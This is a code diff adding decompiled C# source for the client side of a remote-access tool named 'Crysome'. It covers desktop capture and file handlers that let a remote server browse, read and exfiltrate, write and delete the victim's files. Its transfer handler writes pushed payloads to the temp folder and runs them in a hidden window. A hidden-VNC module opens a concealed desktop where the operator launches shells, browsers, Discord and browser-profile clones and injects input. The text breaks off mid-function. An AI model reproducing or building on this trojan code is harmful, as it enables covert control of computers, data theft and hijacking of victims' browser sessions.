|
||||
private Texture2D _staging;
|
||||
private int _width;
|
||||
private int _height;
|
||||
private bool _disposed;
|
||||
|
||||
private byte[] _bgrBuffer;
|
||||
private TJCompressor _turboJpeg;
|
||||
private bool _turboAvailable;
|
||||
|
||||
public int Width => _width;
|
||||
public int Height => _height;
|
||||
public bool IsInitialized => _duplication != null;
|
||||
|
||||
public bool Init(int screenIndex)
|
||||
{
|
||||
Cleanup();
|
||||
try
|
||||
{
|
||||
using (var factory = new Factory1())
|
||||
{
|
||||
Adapter1 adapter = factory.GetAdapter1(0);
|
||||
_device = new Device(adapter, DeviceCreationFlags.BgraSupport);
|
||||
|
||||
int outputIdx = Math.Max(0, screenIndex);
|
||||
Output output = adapter.GetOutput(outputIdx);
|
||||
using (var output1 = output.QueryInterface<Output1>())
|
||||
{
|
||||
_width = output.Description.DesktopBounds.Right - output.Description.DesktopBounds.Left;
|
||||
_height = output.Description.DesktopBounds.Bottom - output.Description.DesktopBounds.Top;
|
||||
|
||||
_staging = new Texture2D(_device, new Texture2DDescription
|
||||
{
|
||||
CpuAccessFlags = CpuAccessFlags.Read,
|
||||
BindFlags = BindFlags.None,
|
||||
Format = Format.B8G8R8A8_UNorm,
|
||||
Width = _width,
|
||||
Height = _height,
|
||||
MipLevels = 1,
|
||||
ArraySize = 1,
|
||||
SampleDescription = new SampleDescription(1, 0),
|
||||
Usage = ResourceUsage.Staging,
|
||||
OptionFlags = ResourceOptionFlags.None
|
||||
});
|
||||
|
||||
_duplication = output1.DuplicateOutput(_device);
|
||||
}
|
||||
output.Dispose();
|
||||
adapter.Dispose();
|
||||
}
|
||||
|
||||
_bgrBuffer = new byte[_width * _height * 3];
|
||||
|
||||
try
|
||||
{
|
||||
_turboJpeg = new TJCompressor();
|
||||
_turboAvailable = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
_turboAvailable = false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
Cleanup();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] CaptureFrameToJpeg(int quality, int timeoutMs = 8)
|
||||
{
|
||||
if (_duplication == null)
|
||||
return null;
|
||||
|
||||
Resource desktopResource = null;
|
||||
try
|
||||
{
|
||||
var result = _duplication.TryAcquireNextFrame(timeoutMs, out _, out desktopResource);
|
||||
if (result.Failure || desktopResource == null)
|
||||
return null;
|
||||
|
||||
using (var texture = desktopResource.QueryInterface<Texture2D>())
|
||||
{
|
||||
_device.ImmediateContext.CopyResource(texture, _staging);
|
||||
}
|
||||
|
||||
var mapSource = _device.ImmediateContext.MapSubresource(_staging, 0, MapMode.Read, MapFlags.None);
|
||||
try
|
||||
{
|
||||
ConvertBgraToRgb(mapSource.DataPointer, mapSource.RowPitch);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_device.ImmediateContext.UnmapSubresource(_staging, 0);
|
||||
}
|
||||
|
||||
if (_turboAvailable)
|
||||
return TurboEncode(quality);
|
||||
else
|
||||
return GdiEncode(quality);
|
||||
}
|
||||
catch (SharpDXException ex) when (ex.ResultCode.Code == SharpDX.DXGI.ResultCode.AccessLost.Result.Code)
|
||||
{
|
||||
Cleanup();
|
||||
return null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
try { desktopResource?.Dispose(); } catch { }
|
||||
try { _duplication?.ReleaseFrame(); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private unsafe void ConvertBgraToRgb(IntPtr srcPtr, int srcStride)
|
||||
{
|
||||
fixed (byte* dstBase = _bgrBuffer)
|
||||
{
|
||||
byte* src = (byte*)srcPtr;
|
||||
byte* dst = dstBase;
|
||||
int dstStride = _width * 3;
|
||||
|
||||
for (int y = 0; y < _height; y++)
|
||||
{
|
||||
byte* srcRow = src + y * srcStride;
|
||||
byte* dstRow = dst + y * dstStride;
|
||||
int x = 0;
|
||||
|
||||
for (; x < _width; x++)
|
||||
{
|
||||
dstRow[0] = srcRow[2]; // R (turbo wants RGB)
|
||||
dstRow[1] = srcRow[1]; // G
|
||||
dstRow[2] = srcRow[0]; // B
|
||||
srcRow += 4;
|
||||
dstRow += 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] TurboEncode(int quality)
|
||||
{
|
||||
try
|
||||
{
|
||||
return _turboJpeg.Compress(
|
||||
_bgrBuffer,
|
||||
_width * 3,
|
||||
_width,
|
||||
_height,
|
||||
TJPixelFormats.TJPF_RGB,
|
||||
TJSubsamplingOptions.TJSAMP_420,
|
||||
quality,
|
||||
TJFlags.FASTDCT);
|
||||
}
|
||||
catch
|
||||
{
|
||||
_turboAvailable = false;
|
||||
return GdiEncode(quality);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] GdiEncode(int quality)
|
||||
{
|
||||
using (var bmp = new Bitmap(_width, _height, PixelFormat.Format24bppRgb))
|
||||
{
|
||||
var bmpData = bmp.LockBits(
|
||||
new Rectangle(0, 0, _width, _height),
|
||||
ImageLockMode.WriteOnly,
|
||||
PixelFormat.Format24bppRgb);
|
||||
|
||||
int bgrStride = _width * 3;
|
||||
int dstStride = bmpData.Stride;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* srcBase = _bgrBuffer)
|
||||
{
|
||||
byte* dst = (byte*)bmpData.Scan0;
|
||||
for (int y = 0; y < _height; y++)
|
||||
{
|
||||
// BGR buffer has RGB order, but Bitmap Format24bppRgb expects BGR
|
||||
byte* srcRow = srcBase + y * bgrStride;
|
||||
byte* dstRow = dst + y * dstStride;
|
||||
for (int x = 0; x < _width; x++)
|
||||
{
|
||||
dstRow[0] = srcRow[2]; // B
|
||||
dstRow[1] = srcRow[1]; // G
|
||||
dstRow[2] = srcRow[0]; // R
|
||||
srcRow += 3;
|
||||
dstRow += 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bmp.UnlockBits(bmpData);
|
||||
|
||||
var codec = GetJpegCodec();
|
||||
using (var ms = new MemoryStream(131072))
|
||||
{
|
||||
if (codec != null)
|
||||
{
|
||||
using (var ep = new EncoderParameters(1))
|
||||
{
|
||||
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
||||
bmp.Save(ms, codec, ep);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
bmp.Save(ms, ImageFormat.Jpeg);
|
||||
}
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static ImageCodecInfo _jpegCodec;
|
||||
private static readonly object _codecLock = new object();
|
||||
|
||||
private static ImageCodecInfo GetJpegCodec()
|
||||
{
|
||||
if (_jpegCodec != null) return _jpegCodec;
|
||||
lock (_codecLock)
|
||||
{
|
||||
if (_jpegCodec != null) return _jpegCodec;
|
||||
foreach (var info in ImageCodecInfo.GetImageEncoders())
|
||||
if (info.FormatID == ImageFormat.Jpeg.Guid)
|
||||
{ _jpegCodec = info; break; }
|
||||
}
|
||||
return _jpegCodec;
|
||||
}
|
||||
|
||||
private void Cleanup()
|
||||
{
|
||||
try { _turboJpeg?.Dispose(); } catch { }
|
||||
try { _duplication?.Dispose(); } catch { }
|
||||
try { _staging?.Dispose(); } catch { }
|
||||
try { _device?.Dispose(); } catch { }
|
||||
_turboJpeg = null;
|
||||
_duplication = null;
|
||||
_staging = null;
|
||||
_device = null;
|
||||
_bgrBuffer = null;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (!_disposed)
|
||||
{
|
||||
_disposed = true;
|
||||
Cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,254 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security;
|
||||
using Crysome.Client.SystemInfo;
|
||||
using Crysome.Client.Util;
|
||||
using Crysome.Client.Web;
|
||||
using Crysome.Common.Model;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class FileHandlers
|
||||
{
|
||||
private const int MaxIconsPerListing = 120;
|
||||
|
||||
public static void HandleGetDirectory(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
GetDirectoryRequestPacket val = (GetDirectoryRequestPacket)packet;
|
||||
string path = ((val.Path == string.Empty) ? Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) : val.Path);
|
||||
GetDirectoryFileEntries(client, path, val.RequestId);
|
||||
}
|
||||
|
||||
public static void HandleDeleteFile(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
DeleteFileRequestPacket val = (DeleteFileRequestPacket)packet;
|
||||
string fullName = Directory.GetParent(val.Path).FullName;
|
||||
if (Directory.Exists(val.Path))
|
||||
{
|
||||
Directory.Delete(val.Path, recursive: true);
|
||||
}
|
||||
else if (File.Exists(val.Path))
|
||||
{
|
||||
File.Delete(val.Path);
|
||||
}
|
||||
GetDirectoryFileEntries(client, fullName, 0L);
|
||||
}
|
||||
|
||||
public static void HandleSendFile(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
SendFileRequestPacket val = (SendFileRequestPacket)packet;
|
||||
File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, val.Filename), val.FileData);
|
||||
}
|
||||
|
||||
public static void HandleWriteFile(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_0121: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0126: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_012d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0139: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_014a: Expected O, but got Unknown
|
||||
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_002c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_003d: Expected O, but got Unknown
|
||||
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0059: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0060: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_007c: Expected O, but got Unknown
|
||||
//IL_0093: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0098: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_009f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00aa: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00bb: Expected O, but got Unknown
|
||||
//IL_00f5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00fa: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0101: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_010c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_011d: Expected O, but got Unknown
|
||||
WriteFileRequestPacket val = (WriteFileRequestPacket)packet;
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrEmpty(val.DestPath))
|
||||
{
|
||||
client.SendPacket((IPacket)new WriteFileResponsePacket
|
||||
{
|
||||
Success = false,
|
||||
ErrorMessage = "Empty path",
|
||||
TransferId = val.TransferId
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (val.Data == null || val.Data.Length == 0)
|
||||
{
|
||||
client.SendPacket((IPacket)new WriteFileResponsePacket
|
||||
{
|
||||
Success = false,
|
||||
ErrorMessage = "Empty data",
|
||||
TransferId = val.TransferId
|
||||
});
|
||||
return;
|
||||
}
|
||||
if ((long)val.Data.Length > 104857600L)
|
||||
{
|
||||
client.SendPacket((IPacket)new WriteFileResponsePacket
|
||||
{
|
||||
Success = false,
|
||||
ErrorMessage = "File too large (max 100MB)",
|
||||
TransferId = val.TransferId
|
||||
});
|
||||
return;
|
||||
}
|
||||
string directoryName = Path.GetDirectoryName(val.DestPath);
|
||||
if (!string.IsNullOrEmpty(directoryName) && !Directory.Exists(directoryName))
|
||||
{
|
||||
Directory.CreateDirectory(directoryName);
|
||||
}
|
||||
File.WriteAllBytes(val.DestPath, val.Data);
|
||||
client.SendPacket((IPacket)new WriteFileResponsePacket
|
||||
{
|
||||
Success = true,
|
||||
ErrorMessage = "",
|
||||
TransferId = val.TransferId
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.SendPacket((IPacket)new WriteFileResponsePacket
|
||||
{
|
||||
Success = false,
|
||||
ErrorMessage = ex.Message,
|
||||
TransferId = val.TransferId
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleDownloadFile(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
DownloadFileRequestPacket val = (DownloadFileRequestPacket)packet;
|
||||
new WebFileDownloader().DownloadFile(val.Url);
|
||||
}
|
||||
|
||||
public static void HandleReadFile(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00c6: Expected O, but got Unknown
|
||||
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_002c: Expected O, but got Unknown
|
||||
//IL_004c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0056: Expected O, but got Unknown
|
||||
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00aa: Expected O, but got Unknown
|
||||
//IL_007e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0088: Expected O, but got Unknown
|
||||
ReadFileRequestPacket val = (ReadFileRequestPacket)packet;
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrEmpty(val.Path))
|
||||
{
|
||||
client.SendPacket((IPacket)new ReadFileResponsePacket(false, "Empty path", (byte[])null, val.TransferId));
|
||||
return;
|
||||
}
|
||||
if (!File.Exists(val.Path))
|
||||
{
|
||||
client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File not found", (byte[])null, val.TransferId));
|
||||
return;
|
||||
}
|
||||
if (new FileInfo(val.Path).Length > 104857600)
|
||||
{
|
||||
client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File too large (max 100MB)", (byte[])null, val.TransferId));
|
||||
return;
|
||||
}
|
||||
byte[] array = File.ReadAllBytes(val.Path);
|
||||
client.SendPacket((IPacket)new ReadFileResponsePacket(true, (string)null, array, val.TransferId));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.SendPacket((IPacket)new ReadFileResponsePacket(false, ex.Message, (byte[])null, val.TransferId));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GetDirectoryFileEntries(CrysomeClient client, string path, long requestId)
|
||||
{
|
||||
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0033: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_003f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_009f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ff: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_012f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0137: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
DirectoryInfo directoryInfo = new DirectoryInfo(path);
|
||||
if (directoryInfo.Exists)
|
||||
{
|
||||
FileSystemEntry[] directories = FileExplorer.GetDirectories(path);
|
||||
FileSystemEntry[] files = FileExplorer.GetFiles(path);
|
||||
GetDirectoryResponsePacket val = new GetDirectoryResponsePacket
|
||||
{
|
||||
Name = directoryInfo.Name,
|
||||
Path = directoryInfo.FullName,
|
||||
Folders = directories.Select((FileSystemEntry folder) => folder.Name).ToArray(),
|
||||
Files = files.Select((FileSystemEntry file) => file.Name).ToArray(),
|
||||
FileSizes = files.Select((FileSystemEntry file) => file.Size).ToArray(),
|
||||
FolderLastWriteUtcTicks = directories.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(),
|
||||
FileLastWriteUtcTicks = files.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(),
|
||||
RequestId = requestId
|
||||
};
|
||||
val.FolderIconPng = new byte[directories.Length][];
|
||||
for (int num = 0; num < directories.Length; num++)
|
||||
{
|
||||
string fullPath = Path.Combine(directoryInfo.FullName, directories[num].Name);
|
||||
val.FolderIconPng[num] = ((num < 120) ? ShellSmallIconPng.TryGetPng(fullPath, isDirectory: true) : null);
|
||||
}
|
||||
val.FileIconPng = new byte[files.Length][];
|
||||
for (int num2 = 0; num2 < files.Length; num2++)
|
||||
{
|
||||
string fullPath2 = Path.Combine(directoryInfo.FullName, files[num2].Name);
|
||||
val.FileIconPng[num2] = ((num2 < 120) ? ShellSmallIconPng.TryGetPng(fullPath2, isDirectory: false) : null);
|
||||
}
|
||||
client.SendPacket((IPacket)(object)val);
|
||||
}
|
||||
}
|
||||
catch (SecurityException)
|
||||
{
|
||||
NotifyStatus(client, "Insufficient privileges.");
|
||||
}
|
||||
catch (ArgumentException)
|
||||
{
|
||||
NotifyStatus(client, "Invalid path.");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
NotifyStatus(client, "An unexpected error has occured.");
|
||||
}
|
||||
}
|
||||
|
||||
private static void NotifyStatus(CrysomeClient client, string statusMessage)
|
||||
{
|
||||
//IL_0002: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000c: Expected O, but got Unknown
|
||||
client.SendPacket((IPacket)new NotifyStatusResponsePacket(statusMessage));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.FileTransfer;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class FileTransferHandlers
|
||||
{
|
||||
private const int MaxFileBytes = 157286400;
|
||||
|
||||
private static FtReceiver _receiver;
|
||||
|
||||
internal static volatile string LastDllPath;
|
||||
|
||||
public static void HandleFileTransfer(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ab: Expected O, but got Unknown
|
||||
FileTransferRequestPacket val = (FileTransferRequestPacket)packet;
|
||||
string text;
|
||||
try
|
||||
{
|
||||
if (val.FileData == null || val.FileData.Length == 0)
|
||||
{
|
||||
text = "ERR: Empty payload";
|
||||
}
|
||||
else if (val.FileData.Length > 157286400)
|
||||
{
|
||||
text = "ERR: Payload too large";
|
||||
}
|
||||
else
|
||||
{
|
||||
string text2 = SanitizeFileName(val.Filename);
|
||||
string text3 = Path.Combine(Path.GetTempPath(), text2);
|
||||
File.WriteAllBytes(text3, val.FileData);
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = text3,
|
||||
UseShellExecute = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
text = "OK: " + text2;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
text = "ERR: " + ex.Message;
|
||||
}
|
||||
client.SendPacket((IPacket)new FileTransferResponsePacket(text));
|
||||
}
|
||||
|
||||
public static void HandleFtStart(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000b: Expected O, but got Unknown
|
||||
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006d: Expected O, but got Unknown
|
||||
_receiver = new FtReceiver(client);
|
||||
_receiver.OnComplete = delegate(string name, byte[] data)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = SanitizeFileName(name);
|
||||
string text2 = Path.Combine(Path.GetTempPath(), text);
|
||||
File.WriteAllBytes(text2, data);
|
||||
Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)");
|
||||
if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
LastDllPath = text2;
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = text2,
|
||||
UseShellExecute = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("FtReceiver execute error: " + ex.Message);
|
||||
}
|
||||
};
|
||||
_receiver.OnError = delegate(string msg)
|
||||
{
|
||||
Program.Log("FtReceiver error: " + msg);
|
||||
};
|
||||
_receiver.HandleStart((FtStartPacket)packet);
|
||||
}
|
||||
|
||||
public static void HandleFtChunk(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0015: Expected O, but got Unknown
|
||||
FtReceiver receiver = _receiver;
|
||||
if (receiver != null)
|
||||
{
|
||||
receiver.HandleChunk((FtChunkPacket)packet);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleFtAbort(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0015: Expected O, but got Unknown
|
||||
FtReceiver receiver = _receiver;
|
||||
if (receiver != null)
|
||||
{
|
||||
receiver.HandleAbort((FtAbortPacket)packet);
|
||||
}
|
||||
}
|
||||
|
||||
private static string SanitizeFileName(string name)
|
||||
{
|
||||
if (string.IsNullOrEmpty(name))
|
||||
{
|
||||
return "received.dat";
|
||||
}
|
||||
char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
|
||||
foreach (char oldChar in invalidFileNameChars)
|
||||
{
|
||||
name = name.Replace(oldChar, '_');
|
||||
}
|
||||
return name;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using Crysome.Client.Hvnc;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class HvncHandlers
|
||||
{
|
||||
private const string DesktopName = "CrysomeHvncDesktop";
|
||||
|
||||
private static volatile bool _running;
|
||||
|
||||
private static Thread _captureThread;
|
||||
|
||||
private static Thread _sendThread;
|
||||
|
||||
private static CrysomeClient _client;
|
||||
|
||||
private static HvncImagingHandler _imaging;
|
||||
|
||||
private static HvncInputHandler _input;
|
||||
|
||||
private static HvncProcessHandler _process;
|
||||
|
||||
private static int _quality;
|
||||
|
||||
private static int _intervalMs;
|
||||
|
||||
private static readonly object _lock;
|
||||
|
||||
private static readonly BlockingCollection<Action> _hvncInputQueue;
|
||||
|
||||
private static readonly Thread _hvncInputPump;
|
||||
|
||||
private static volatile byte[] _pendingFrame;
|
||||
|
||||
private static readonly SemaphoreSlim _frameSem;
|
||||
|
||||
static HvncHandlers()
|
||||
{
|
||||
_quality = 80;
|
||||
_intervalMs = 50;
|
||||
_lock = new object();
|
||||
_hvncInputQueue = new BlockingCollection<Action>();
|
||||
_frameSem = new SemaphoreSlim(0, 1);
|
||||
_hvncInputPump = new Thread((ThreadStart)delegate
|
||||
{
|
||||
foreach (Action item in _hvncInputQueue.GetConsumingEnumerable())
|
||||
{
|
||||
try
|
||||
{
|
||||
item?.Invoke();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("HVNC input: " + ex.Message);
|
||||
}
|
||||
}
|
||||
})
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "HvncInputPump"
|
||||
};
|
||||
_hvncInputPump.Start();
|
||||
}
|
||||
|
||||
public static void HandleStartHvnc(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
StartHvncPacket val = (StartHvncPacket)packet;
|
||||
lock (_lock)
|
||||
{
|
||||
if (!_running)
|
||||
{
|
||||
_quality = Math.Max(10, Math.Min(100, val.Quality));
|
||||
_intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs));
|
||||
_client = client;
|
||||
try
|
||||
{
|
||||
_imaging = new HvncImagingHandler("CrysomeHvncDesktop");
|
||||
_input = new HvncInputHandler("CrysomeHvncDesktop");
|
||||
_process = new HvncProcessHandler("CrysomeHvncDesktop");
|
||||
_process.StartExplorer();
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("HVNC init: " + ex.Message);
|
||||
DisposeHandlers();
|
||||
return;
|
||||
}
|
||||
_running = true;
|
||||
_pendingFrame = null;
|
||||
_sendThread = new Thread(SendLoop)
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "HvncSend"
|
||||
};
|
||||
_sendThread.Start();
|
||||
_captureThread = new Thread(CaptureLoop)
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "HvncCapture"
|
||||
};
|
||||
_captureThread.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStopHvnc(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
_running = false;
|
||||
try
|
||||
{
|
||||
_frameSem.Release();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_captureThread?.Join(3000);
|
||||
_sendThread?.Join(2000);
|
||||
DisposeHandlers();
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
HvncRunRequestPacket val = (HvncRunRequestPacket)packet;
|
||||
if (!_running || _process == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
switch (val.Action)
|
||||
{
|
||||
case 0:
|
||||
_process.StartExplorer();
|
||||
break;
|
||||
case 1:
|
||||
_process.StartRunDialog();
|
||||
break;
|
||||
case 2:
|
||||
_process.StartCmd();
|
||||
break;
|
||||
case 3:
|
||||
_process.StartPowerShell();
|
||||
break;
|
||||
case 4:
|
||||
_process.StartChrome();
|
||||
break;
|
||||
case 5:
|
||||
_process.StartEdge();
|
||||
break;
|
||||
case 6:
|
||||
_process.StartFirefox();
|
||||
break;
|
||||
case 7:
|
||||
_process.StartOpera();
|
||||
break;
|
||||
case 8:
|
||||
_process.StartOperaGX();
|
||||
break;
|
||||
case 9:
|
||||
_process.StartBrave();
|
||||
break;
|
||||
case 17:
|
||||
_process.StartNotepad();
|
||||
break;
|
||||
case 18:
|
||||
_process.StartCalculator();
|
||||
break;
|
||||
case 11:
|
||||
case 12:
|
||||
case 13:
|
||||
case 14:
|
||||
case 15:
|
||||
case 16:
|
||||
_process.HandleCloneRequest(val.Action);
|
||||
break;
|
||||
case 19:
|
||||
_process.StartDiscord();
|
||||
break;
|
||||
case 10:
|
||||
if (!string.IsNullOrEmpty(val.Path))
|
||||
{
|
||||
_process.CreateProc(val.Path);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("HVNC run: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleHvncInput(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0007: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000d: Expected O, but got Unknown
|
||||
HvncInputPacket val = (HvncInputPacket)packet;
|
||||
if (_running && _input != null)
|
||||
{
|
||||
uint msg = (uint)val.Msg;
|
||||
IntPtr wParam = new IntPtr(val.WParam);
|
||||
IntPtr lParam = new IntPtr(val.LParam);
|
||||
_hvncInputQueue.Add(delegate
|
||||
{
|
||||
_input.Input(msg, wParam, lParam);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private static void DisposeHandlers()
|
||||
{
|
||||
try
|
||||
{
|
||||
_imaging?.Dispose();
|
||||
_imaging = null;
|
||||
_input?.Dispose();
|
||||
_input = null;
|
||||
_process = null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void SendLoop()
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
_frameSem.Wait(100);
|
||||
if (!_running)
|
||||
{
|
||||
break;
|
||||
}
|
||||
byte[] array = Interlocked.Exchange(ref _pendingFrame, null);
|
||||
